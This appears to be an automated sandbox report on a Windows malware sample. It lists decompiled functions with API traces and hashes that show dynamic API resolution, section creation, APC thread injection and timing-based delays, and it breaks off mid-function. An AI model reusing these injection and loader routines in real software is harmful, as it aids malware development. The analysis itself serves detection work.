GetProcAddress.KERNEL32(00000000,6C43775A,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783FB

Part of subcall function 00471371: NtCreateSection.NTDLL(?,000F001F,?,00000001,?,08000000,00000000,766F1222,00000000,00000000,0047841B), ref: 004713CE
Part of subcall function 00471371: memset.NTDLL ref: 004713F0

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 3012371009-0
Opcode ID: 4a8578d4921cf4ffadce68dee01b60e17a3a9da4628d21ea481e69e8f76ee6dd
Instruction ID: f0aeb0b109960c27405303e9290d6269c0fa137e21503e863e81017ff4daffe2
Opcode Fuzzy Hash: 4a8578d4921cf4ffadce68dee01b60e17a3a9da4628d21ea481e69e8f76ee6dd
Instruction Fuzzy Hash: D4212DB1501206EFD720DFAADC88EAB77FCEF0835470185AAE50DD7312E674E9058B68

Uniqueness

Uniqueness Score: -1.00%

Function 004316C0, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004316C0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t32;
				_Unknown_base(*)()* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E004317A6(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t48 = GetModuleHandleA( *0x434150 + 0x435014);
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48,  *0x434150 + 0x435151);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E00431590(_t54);
					} else {
						_t32 = GetProcAddress(_t48,  *0x434150 + 0x435161);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t35 = GetProcAddress(_t48,  *0x434150 + 0x435174);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t38 = GetProcAddress(_t48,  *0x434150 + 0x435189);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t41 = GetProcAddress(_t48,  *0x434150 + 0x43519f);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E004314E8(_t54, _a8); // executed
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x004316cf
0x004316d3
0x00431795
0x004316d9
0x004316f1
0x00431700
0x00431707
0x0043170b
0x0043170e
0x0043178d
0x0043178e
0x00431710
0x0043171d
0x00431721
0x00431724
0x00000000
0x00431726
0x00431733
0x00431737
0x0043173a
0x00000000
0x0043173c
0x00431749
0x0043174d
0x00431750
0x00000000
0x00431752
0x0043175f
0x00431763
0x00431766
0x00000000
0x00431768
0x0043176e
0x00431773
0x0043177a
0x00431781
0x00431784
0x00000000
0x00431786
0x00431789
0x00431789
0x00431784
0x00431766
0x00431750
0x0043173a
0x00431724
0x0043170e
0x004317a3

APIs

Part of subcall function 004317A6: HeapAlloc.KERNEL32(00000000,?,0043128A,00000208,?,00000000,?,?,?,0043106A,?), ref: 004317B2

GetModuleHandleA.KERNEL32(?,00000020), ref: 004316E5
GetProcAddress.KERNEL32(00000000,?), ref: 00431707
GetProcAddress.KERNEL32(00000000,?), ref: 0043171D
GetProcAddress.KERNEL32(00000000,?), ref: 00431733
GetProcAddress.KERNEL32(00000000,?), ref: 00431749
GetProcAddress.KERNEL32(00000000,?), ref: 0043175F

Part of subcall function 004314E8: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000), ref: 00431545
Part of subcall function 004314E8: memset.NTDLL ref: 00431567

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 2466eb840a436c95db5086a7b7ac4daea5a453d88b27c7d682e38a02c463eb4e
Instruction ID: 4408938095e139b52184e45dd423f187848cc57d7ea7354e64fbf3dbf2d7d7e2
Opcode Fuzzy Hash: 2466eb840a436c95db5086a7b7ac4daea5a453d88b27c7d682e38a02c463eb4e
Instruction Fuzzy Hash: 392183B660060AAFDB50DF69DC88EA777FCEF58340B042566E519C7321E734E9058FA8

Uniqueness

Uniqueness Score: -1.00%

Function 00476D20, Relevance: 9.1, APIs: 6, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00476D20(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E004716F8(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x00476d2c
0x00476d30
0x00476d31
0x00476d32
0x00476d34
0x00476d36
0x00476d3b
0x00476d3e
0x00476dd5
0x00476ddc
0x00476ddc
0x00476d47
0x00476d4e
0x00476d5e
0x00476d5e
0x00476d64
0x00476d66
0x00476d6b
0x00476d74
0x00476d7c
0x00476d7f
0x00476d8a
0x00476d8e
0x00476d90
0x00476d91
0x00476d9a
0x00476d9e
0x00476daf
0x00476da0
0x00476da5
0x00476daa
0x00476db9
0x00476db9
0x00476d8e
0x00476dbf
0x00476dc5
0x00476dc5
0x00476dce
0x00476dd3
0x00476dd3
0x00000000

APIs

ObjectStublessClient9.OLE32(?,00000008,00000000,00000008,00000000,0047A86D,00000008,00000008), ref: 00476D36
Sleep.KERNEL32(000000C8), ref: 00476D4E
ObjectStublessClient9.OLE32(?,?), ref: 00476D74
lstrlenW.KERNEL32(?), ref: 00476D84
memcpy.NTDLL(00000000,?,?,?), ref: 00476DA5
SysFreeString.OLEAUT32(?), ref: 00476DB9

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Client9ObjectStubless$FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 2533115827-0
Opcode ID: 52144fe9e585bf12db1ea7f2beaf7ab4ec18867ae1564bd2ff2238386c015b19
Instruction ID: 5828597d646d015c61e6d0239e047c30aa9fb3ef5592ba63fb3c32c6d115d7a8
Opcode Fuzzy Hash: 52144fe9e585bf12db1ea7f2beaf7ab4ec18867ae1564bd2ff2238386c015b19
Instruction Fuzzy Hash: D5217475A01609EFCB10DFA8C8849DEBBB9FF49314B15816EE809E7314EB34DA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00477753, Relevance: 9.1, APIs: 6, Instructions: 75
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00477753(void* __eax, void* _a4, char* _a8, void* _a12, int _a16, void** _a20, intOrPtr* _a24) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _t28;
				void* _t33;
				void* _t36;
				void* _t41;
				char* _t42;
				void* _t44;
				char* _t49;
				char* _t50;
				int _t51;
				int _t54;
				void* _t55;

				_t49 = _a4;
				_t55 = __eax;
				_v12 = 0xb;
				if(_t49 != 0 && __eax != 0) {
					_t5 = _t55 - 1; // -1
					_t42 =  &(_t49[_t5]);
					_t28 =  *_t42;
					_v5 = _t28;
					 *_t42 = 0;
					__imp__(_a8, _t41);
					_v16 = _t28;
					_t50 = StrStrA(_t49, _a8);
					if(_t50 != 0) {
						 *_t42 = _v5;
						_t33 = RtlAllocateHeap( *0x47d238, 0, _a16 + _t55); // executed
						_t44 = _t33;
						if(_t44 == 0) {
							_v12 = 8;
						} else {
							_t51 = _t50 - _a4;
							memcpy(_t44, _a4, _t51);
							_t36 = memcpy(_t44 + _t51, _a12, _a16);
							_t45 = _v16;
							_t54 = _a16;
							memcpy(_t36 + _t54, _t51 + _v16 + _a4, _t55 - _t51 - _t45);
							 *_a20 = _t44;
							_v12 = _v12 & 0x00000000;
							 *_a24 = _t55 - _v16 + _t54;
						}
					}
				}
				return _v12;
			}

0x0047775b
0x00477760
0x00477762
0x00477769
0x0047777b
0x0047777b
0x0047777f
0x00477781
0x00477784
0x00477787
0x00477790
0x0047779a
0x0047779e
0x004777a3
0x004777b3
0x004777b9
0x004777bd
0x0047780e
0x004777bf
0x004777bf
0x004777c7
0x004777d6
0x004777db
0x004777eb
0x004777f1
0x004777fc
0x00477806
0x0047780a
0x0047780a
0x004777bd
0x00477815
0x0047781c

APIs

lstrlen.KERNEL32(7671BB27,?,00000000,?,7671BB27), ref: 00477787
StrStrA.SHLWAPI(00000000,?), ref: 00477794
RtlAllocateHeap.NTDLL(00000000,?), ref: 004777B3
memcpy.NTDLL(00000000,0000000B,0000000B), ref: 004777C7
memcpy.NTDLL(00000000,0000000B,00000000,00000000,0000000B,0000000B), ref: 004777D6
memcpy.NTDLL(00000000,0000000B,00000000,00000000,0000000B,00000000,00000000,0000000B,0000000B), ref: 004777F1

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 0daf6c3c0db40095fdc315f20786f20b643f2c6838df583757c7a706b112c2a8
Instruction ID: 18636a5745d21726f6c16f83d7ab00a75234e303b3415e10d87350b8fb57b0d0
Opcode Fuzzy Hash: 0daf6c3c0db40095fdc315f20786f20b643f2c6838df583757c7a706b112c2a8
Instruction Fuzzy Hash: 1A21A136A00149AFCB019FA8C888ADEBF79EF85344F05C15AFC08A7311CB34D955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 003C54C4, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003C54C4(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* _t20;
				void* _t21;
				void* _t27;
				void* _t31;
				void* _t35;
				intOrPtr* _t43;

				_t43 =  &_v8;
				_t20 =  *0x3d9c90; // 0x0
				 *((intOrPtr*)(_t20 + 0x180)) = _a4;
				_t21 =  *0x3d9c90; // 0x0
				SetWindowLongA(_a4, 0xfffffffc,  *(_t21 + 0x18c));
				if((GetWindowLongA(_a4, 0xfffffff0) & 0x40000000) != 0 && GetWindowLongA(_a4, 0xfffffff4) == 0) {
					SetWindowLongA(_a4, 0xfffffff4, _a4);
				}
				_t27 =  *0x3d9c90; // 0x0
				SetPropA(_a4,  *0x3dbb66 & 0x0000ffff, _t27);
				_t31 =  *0x3d9c90; // 0x0
				SetPropA(_a4,  *0x3dbb64 & 0x0000ffff, _t31);
				_t35 =  *0x3d9c90; // 0x0
				 *0x3d9c90 = 0; // executed
				_v8 =  *((intOrPtr*)(_t35 + 0x18c))(_a4, _a8, _a12, _a16);
				return  *_t43;
			}

0x003c54c9
0x003c54cc
0x003c54d4
0x003c54da
0x003c54ec
0x003c5501
0x003c551c
0x003c551c
0x003c5521
0x003c5533
0x003c5538
0x003c554a
0x003c555b
0x003c5560
0x003c5570
0x003c5578

APIs

SetWindowLongA.USER32 ref: 003C54EC
GetWindowLongA.USER32(?,000000F0), ref: 003C54F7
GetWindowLongA.USER32(?,000000F4), ref: 003C5509
SetWindowLongA.USER32 ref: 003C551C
SetPropA.USER32(?,00000000,00000000), ref: 003C5533
SetPropA.USER32(?,00000000,00000000), ref: 003C554A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: 18d8db901eb9b7d9c1cd118317e141d4ae0f4c3764c71c56e071a24a8b3c2496
Instruction ID: ca61f06e1a5567956913b53204691f01a7302dbdc57eaa5c281ad095e70ab653
Opcode Fuzzy Hash: 18d8db901eb9b7d9c1cd118317e141d4ae0f4c3764c71c56e071a24a8b3c2496
Instruction Fuzzy Hash: 151199B9501204BFDF02EF98EC85EAA37ECAB09355F104656F918CB2A1D735EA50DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00479A11, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00479A11(void* __ecx, signed int __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				void* _t21;
				unsigned int _t23;
				signed int _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x47d238 = _t10;
				if(_t10 != 0) {
					 *0x47d1a8 = GetTickCount();
					_t12 = E004741C2(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0047B1D6();
							_t33 = _t14 + _t16;
							_t18 = E00471430(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33);
						} while (_t18 == 1);
						_t21 = E0047701E(_t25); // executed
						if(_t21 != 0) {
							 *0x47d260 = 1; // executed
						}
						_t12 = E00479016(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x00479a11
0x00479a17
0x00479a18
0x00479a24
0x00479a2c
0x00479a31
0x00479a41
0x00479a46
0x00479a4d
0x00479a4f
0x00479a54
0x00479a5a
0x00479a60
0x00479a6a
0x00479a6e
0x00479a70
0x00479a75
0x00479a76
0x00479a77
0x00479a7c
0x00479a82
0x00479a8b
0x00479a8c
0x00479a91
0x00479a97
0x00479a9c
0x00479aa3
0x00479aa5
0x00479aa5
0x00479aaf
0x00479aaf
0x00479a33
0x00479a35
0x00479a35
0x00479ab9

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,00477E84,?), ref: 00479A24
GetTickCount.KERNEL32(?,00000001,?,?,?,00477E84,?), ref: 00479A38
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,00477E84,?), ref: 00479A54
SwitchToThread.KERNEL32(?,00000001,?,?,?,00477E84,?), ref: 00479A5A
_aullrem.NTDLL(?,?,00000009,00000000), ref: 00479A77
Sleep.KERNEL32(00000002,00000000,?,00000001,?,?,?,00477E84,?), ref: 00479A91

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 84bdf55b203211049f0d44afc0ea9580ee54ddc3c397617a9cb69b3de6c356ae
Instruction ID: c596467ceae99f538d3298dfe1d1dafd59675ecf4b6e1a2561d12295cf1e2147
Opcode Fuzzy Hash: 84bdf55b203211049f0d44afc0ea9580ee54ddc3c397617a9cb69b3de6c356ae
Instruction Fuzzy Hash: 0411EC71A502406FD710ABA5DC4AB9A37D8EB44750F00412EF50DD6290E774DC80879D

Uniqueness

Uniqueness Score: -1.00%

Function 02346B6B, Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,00000000,02341C4C,?,02341C4C), ref: 02346B82
QueueUserAPC.KERNEL32(?,00000000,?,?,?,?,?,?,00000040), ref: 02346B97
GetLastError.KERNEL32(771422D0,?,?,?,?,?,00000040), ref: 02346BA2
TerminateThread.KERNEL32(00000000,00000000,?,?,?,?,?,00000040), ref: 02346BAC
CloseHandle.KERNEL32(00000000), ref: 02346BB3
SetLastError.KERNEL32(00000000,?,?,?,?,?,00000040), ref: 02346BBC

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: 2c2813c09727850439dd69ad627c913ae8c037e1e77d6cfead22245c3bddc760
Instruction ID: cf16c153c00c3a4f260c68bed81e5788de1fa89b8257561abd3f80fe65b7d284
Opcode Fuzzy Hash: 2c2813c09727850439dd69ad627c913ae8c037e1e77d6cfead22245c3bddc760
Instruction Fuzzy Hash: A0F0FEB2A85220BBD6211FA1AD0CF9ABF6DFF09F51F008C84F60591150C73589398BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004718C1, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 173
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004718C1(void* __ecx, char* _a8, int _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				void _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				void* _t63;
				intOrPtr _t65;
				char _t68;
				void* _t71;
				intOrPtr _t72;
				void* _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t96;
				void* _t97;
				int _t102;
				signed int* _t104;
				intOrPtr* _t105;
				void* _t106;

				_t97 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t102 = _a16;
				if(_t102 == 0) {
					__imp__( &_v284,  *0x47d33c);
					_t96 = 0x80000002;
					L6:
					_t60 = E0047A0DB(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t105 = _a24;
					_t63 = E00476DDF(_t97, _t105, _t96, _t60); // executed
					if(_t63 != 0) {
						L27:
						E004770FF(_a8);
						goto L29;
					}
					_t65 =  *0x47d27c; // 0x374a7d0
					_t16 = _t65 + 0x47e8fe; // 0x65696c43
					_t68 = E0047A0DB(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t105 + 0x14; // 0x102
						_t33 = _t105 + 0x10; // 0x3d0047c0, executed
						_t71 = E00474748( *_t33, _t96, _a8,  *0x47d334,  *((intOrPtr*)( *_t29 + 0x28))); // executed
						if(_t71 == 0) {
							_t72 =  *0x47d27c; // 0x374a7d0
							if(_t102 == 0) {
								_t35 = _t72 + 0x47ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x47e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E00477620( &_a24, _t73,  *0x47d334,  *0x47d338,  &_a24,  &_a16) == 0) {
								if(_t102 == 0) {
									_t75 =  *0x47d27c; // 0x374a7d0
									_t44 = _t75 + 0x47e871; // 0x74666f53
									_t78 = E0047A0DB(0, _t44);
									_t103 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t105 + 0x10; // 0x3d0047c0
										E0047A202( *_t47, _t96, _a8,  *0x47d338, _a24);
										_t49 = _t105 + 0x10; // 0x3d0047c0
										E0047A202( *_t49, _t96, _t103,  *0x47d330, _a16);
										E004770FF(_t103);
									}
								} else {
									_t40 = _t105 + 0x10; // 0x3d0047c0
									E0047A202( *_t40, _t96, _a8,  *0x47d338, _a24);
									_t43 = _t105 + 0x10; // 0x3d0047c0
									E0047A202( *_t43, _t96, _a8,  *0x47d330, _a16);
								}
								if( *_t105 != 0) {
									E004770FF(_a24);
								} else {
									 *_t105 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t105 + 0x10; // 0x3d0047c0
					if(E00476E8F( *_t21, _t96, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t104 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t104 =  *_t104 & 0x00000000;
							_t26 = _t105 + 0x10; // 0x3d0047c0
							E00474748( *_t26, _t96, _a8, _a24, _t104);
						}
						E004770FF(_t104);
						_t102 = _a16;
					}
					E004770FF(_a24);
					goto L14;
				}
				if(_t102 <= 8 || _t102 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					memcpy( &_v284, _a8, _t102);
					__imp__(_t106 + _t102 - 0x117,  *0x47d33c);
					 *((char*)(_t106 + _t102 - 0x118)) = 0x5c;
					_t96 = 0x80000003;
					goto L6;
				}
			}

0x004718c1
0x004718ca
0x004718d1
0x004718d6
0x00471945
0x0047194b
0x00471950
0x00471959
0x00471960
0x00471963
0x00471ad7
0x00471ade
0x00471ade
0x00471ae3
0x00471ae5
0x00471ae5
0x00471aee
0x00471aee
0x00471969
0x0047196e
0x00471975
0x00471acd
0x00471ad0
0x00000000
0x00471ad0
0x0047197b
0x00471980
0x00471989
0x00471990
0x00471993
0x004719dd
0x004719dd
0x004719f0
0x004719f3
0x004719fa
0x00471a02
0x00471a07
0x00471a11
0x00471a11
0x00471a09
0x00471a09
0x00471a09
0x00471a09
0x00471a33
0x00471a3b
0x00471a69
0x00471a6e
0x00471a77
0x00471a7c
0x00471a80
0x00471ab2
0x00471a82
0x00471a8f
0x00471a92
0x00471aa2
0x00471aa5
0x00471aab
0x00471aab
0x00471a3d
0x00471a4a
0x00471a4d
0x00471a5f
0x00471a62
0x00471a62
0x00471abc
0x00471ac8
0x00471abe
0x00471ac1
0x00471ac1
0x00471abc
0x00471a33
0x00000000
0x004719fa
0x004719a2
0x004719ac
0x004719ae
0x004719b3
0x004719b7
0x004719b9
0x004719c4
0x004719c7
0x004719c7
0x004719cd
0x004719d2
0x004719d2
0x004719d8
0x00000000
0x004719d8
0x004718db
0x00000000
0x00471902
0x0047190d
0x00471923
0x00471929
0x00471931
0x00000000
0x00471931

APIs

StrChrA.SHLWAPI(?,0000005F), ref: 004718F4
memcpy.NTDLL(?,?,?), ref: 0047190D
lstrcpy.KERNEL32(?), ref: 00471923

Part of subcall function 0047A0DB: lstrlen.KERNEL32(?,00000000,0047D330,00000001,004722CC,0047D00C,0047D00C,00000000,00000005,00000000,00000000,?,?,?,00477E0E,004791A4), ref: 0047A0E4
Part of subcall function 0047A0DB: mbstowcs.NTDLL ref: 0047A10B
Part of subcall function 0047A0DB: memset.NTDLL ref: 0047A11D

Part of subcall function 0047A202: lstrlenW.KERNEL32(?,?,?,00471A97,3D0047C0,80000002,?,0047287E,74666F53,4D4C4B48,0047287E,?,3D0047C0,80000002,?,?), ref: 0047A222

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

lstrcpy.KERNEL32(?,00000000), ref: 00471945

Strings

\IG, xrefs: 004718C1

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemcpymemset
String ID: \IG
API String ID: 2598994505-1407463097
Opcode ID: 9bf4ff085bebf41377694f1aa765083d2a3cd88c992ffbf4601947c8d4bf4799
Instruction ID: b1dbd1208beaea0e935531aa07edb7201c01028c61c58c6faf66e6e0ad477592
Opcode Fuzzy Hash: 9bf4ff085bebf41377694f1aa765083d2a3cd88c992ffbf4601947c8d4bf4799
Instruction Fuzzy Hash: 6A517B7250020AAFDF21AFA5CC41EEA37B9EF48304F00C46AFA1D92221D739D965DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0234C8C5, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memcpy.NTDLL(0236726C,02360923,00000018,00000000,00000000,766F11C0,02360923,?,?,?,00000000), ref: 0234C8DB
GetModuleHandleA.KERNEL32(NTDLL.DLL,00000000,00000000,766F11C0,02360923,?,?,?,00000000), ref: 0234C900
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,00000000), ref: 0234C910

Strings

NTDLL.DLL, xrefs: 0234C8E9
KERNEL32.DLL, xrefs: 0234C90B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HandleModule$memcpy
String ID: KERNEL32.DLL$NTDLL.DLL
API String ID: 1864057842-633099880
Opcode ID: baa169f5d7d3358c04fe67ff7fdadc63c842b0d55e2527ae6eb122808af7da97
Instruction ID: c009efaa2e3194e8848ac0fc3ef6f9a16adac172b07f2aec9ec5acd1777880b1
Opcode Fuzzy Hash: baa169f5d7d3358c04fe67ff7fdadc63c842b0d55e2527ae6eb122808af7da97
Instruction Fuzzy Hash: D00166B2E86301AAEB208F58DC48B65F7ECF758728F149D7BE54582100CFB0A458CF91

Uniqueness

Uniqueness Score: -1.00%

Function 003B2F88, Relevance: 7.7, APIs: 5, Instructions: 171
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E003B2F88(intOrPtr __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				void* __ecx;
				signed char _t92;
				int _t98;
				int _t100;
				intOrPtr _t117;
				int _t122;
				intOrPtr _t155;
				void* _t164;
				signed char _t180;
				intOrPtr _t182;
				intOrPtr _t194;
				int _t199;
				intOrPtr _t203;
				void* _t204;

				_t204 = __eflags;
				_t202 = _t203;
				_v8 = __eax;
				E003CB750(_v8);
				_push(_t203);
				_push(0x3b31de);
				_push( *[fs:edx]);
				 *[fs:edx] = _t203;
				 *(_v8 + 0x268) = 0;
				 *(_v8 + 0x26c) = 0;
				 *(_v8 + 0x270) = 0;
				_t164 = 0;
				_t92 =  *0x3db665; // 0x0
				 *(_v8 + 0x234) = _t92 ^ 0x00000001;
				E003CAEAC(_v8, 0, __edx, _t204); // executed
				if( *(_v8 + 0x25c) == 0 ||  *(_v8 + 0x270) <= 0) {
					L12:
					_t98 =  *(_v8 + 0x268);
					_t213 = _t98;
					if(_t98 > 0) {
						E003C80EC(_v8, _t98, _t213);
					}
					_t100 =  *(_v8 + 0x26c);
					_t214 = _t100;
					if(_t100 > 0) {
						E003C8130(_v8, _t100, _t214);
					}
					_t180 =  *0x3b31ec; // 0x0
					 *(_v8 + 0x98) = _t180;
					_t215 = _t164;
					if(_t164 == 0) {
						E003B25E8(_v8, 1, 1);
						E003CE97C(_v8, 1, 1, _t215);
					}
					E003C9884(_v8, 0, 0xb03d, 0);
					_pop(_t182);
					 *[fs:eax] = _t182;
